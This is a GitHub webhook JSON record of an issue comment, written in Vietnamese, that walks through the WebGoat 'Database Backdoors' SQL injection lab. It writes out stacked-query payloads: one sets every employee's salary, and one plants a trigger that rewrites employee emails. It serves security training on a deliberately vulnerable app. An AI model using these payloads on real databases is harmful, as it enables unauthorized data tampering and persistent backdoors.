{"action":"created","issue":{"url":"https://api.github.com/repos/rinodung/webgoat/issues/12","repository_url":"https://api.github.com/repos/rinodung/webgoat","labels_url":"https://api.github.com/repos/rinodung/webgoat/issues/12/labels{/name}","comments_url":"https://api.github.com/repos/rinodung/webgoat/issues/12/comments","events_url":"https://api.github.com/repos/rinodung/webgoat/issues/12/events","html_url":"https://github.com/rinodung/webgoat/issues/12","id":129944684,"number":12,"title":"Bài 10: Injection Flaws","user":{"login":"rinodung","id":7805715,"avatar_url":"https://avatars.githubusercontent.com/u/7805715?v=3","gravatar_id":"","url":"https://api.github.com/users/rinodung","html_url":"https://github.com/rinodung","followers_url":"https://api.github.com/users/rinodung/followers","following_url":"https://api.github.com/users/rinodung/following{/other_user}","gists_url":"https://api.github.com/users/rinodung/gists{/gist_id}","starred_url":"https://api.github.com/users/rinodung/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rinodung/subscriptions","organizations_url":"https://api.github.com/users/rinodung/orgs","repos_url":"https://api.github.com/users/rinodung/repos","events_url":"https://api.github.com/users/rinodung/events{/privacy}","received_events_url":"https://api.github.com/users/rinodung/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":{"login":"hoaihau23111991","id":16969528,"avatar_url":"https://avatars.githubusercontent.com/u/16969528?v=3","gravatar_id":"","url":"https://api.github.com/users/hoaihau23111991","html_url":"https://github.com/hoaihau23111991","followers_url":"https://api.github.com/users/hoaihau23111991/followers","following_url":"https://api.github.com/users/hoaihau23111991/following{/other_user}","gists_url":"https://api.github.com/users/hoaihau23111991/gists{/gist_id}","starred_url":"https://api.github.com/users/hoaihau23111991/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hoaihau23111991/subscriptions","organizations_url":"https://api.github.com/users/hoaihau23111991/orgs","repos_url":"https://api.github.com/users/hoaihau23111991/repos","events_url":"https://api.github.com/users/hoaihau23111991/events{/privacy}","received_events_url":"https://api.github.com/users/hoaihau23111991/received_events","type":"User","site_admin":false},"milestone":null,"comments":5,"created_at":"2016-01-30T05:45:22Z","updated_at":"2016-02-26T08:43:06Z","closed_at":null,"body":"![injection flaws](https://cloud.githubusercontent.com/assets/7805715/12693971/4d748696-c74f-11e5-914b-a8056f319520.png)\r\n"},"comment":{"url":"https://api.github.com/repos/rinodung/webgoat/issues/comments/189165021","html_url":"https://github.com/rinodung/webgoat/issues/12#issuecomment-189165021","issue_url":"https://api.github.com/repos/rinodung/webgoat/issues/12","id":189165021,"user":{"login":"rinodung","id":7805715,"avatar_url":"https://avatars.githubusercontent.com/u/7805715?v=3","gravatar_id":"","url":"https://api.github.com/users/rinodung","html_url":"https://github.com/rinodung","followers_url":"https://api.github.com/users/rinodung/followers","following_url":"https://api.github.com/users/rinodung/following{/other_user}","gists_url":"https://api.github.com/users/rinodung/gists{/gist_id}","starred_url":"https://api.github.com/users/rinodung/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rinodung/subscriptions","organizations_url":"https://api.github.com/users/rinodung/orgs","repos_url":"https://api.github.com/users/rinodung/repos","events_url":"https://api.github.com/users/rinodung/events{/privacy}","received_events_url":"https://api.github.com/users/rinodung/received_events","type":"User","site_admin":false},"created_at":"2016-02-26T08:43:06Z","updated_at":"2016-02-26T08:43:06Z","body":"**Injection Flaws - Database Backdoors**\r\nTrong ứng dụng web sẽ có một số câu truy vấn query dựa vào input đầu vào của người dung kết thúc thường bằng dấu; đây là một lỗ hỏng để người tấn công có thể thêm 1 hoặc nhiều câu lệnh truy vấn làm hệ thống không còn hoạt động đúng nữa:\r\n\r\n**Stage 1**:\r\nTrong bài này: cho người dùng nhập một số ID(101) vào và thực hiện cau truy vấn\r\n`select userid, password, ssn, salary, email from employee where userid = ID`\r\n\r\nĐể tấn công input ID của mình sẽ là:\r\n `101; update employee set salary=10000` lúc đó chúng ta được câu lệnh update salary trái phép như sau: \r\n`select userid, password, ssn, salary, email from employee where userid=101; update employee set salary=10000`\r\n\r\n\r\n\r\n**Stage 2**: tương tự như vậy mình sẽ thêm một câu trigger vào database:\r\n\r\n\r\ncode: `101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid`\r\n\r\nTa được câu truy vấn với backdoor như sau: \r\n`select userid, password, ssn, salary, email from employee where userid=101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid`\r\n\r\nDemo: https://www.youtube.com/watch?v=C2ofwe99Yy8&feature=youtu.be"}}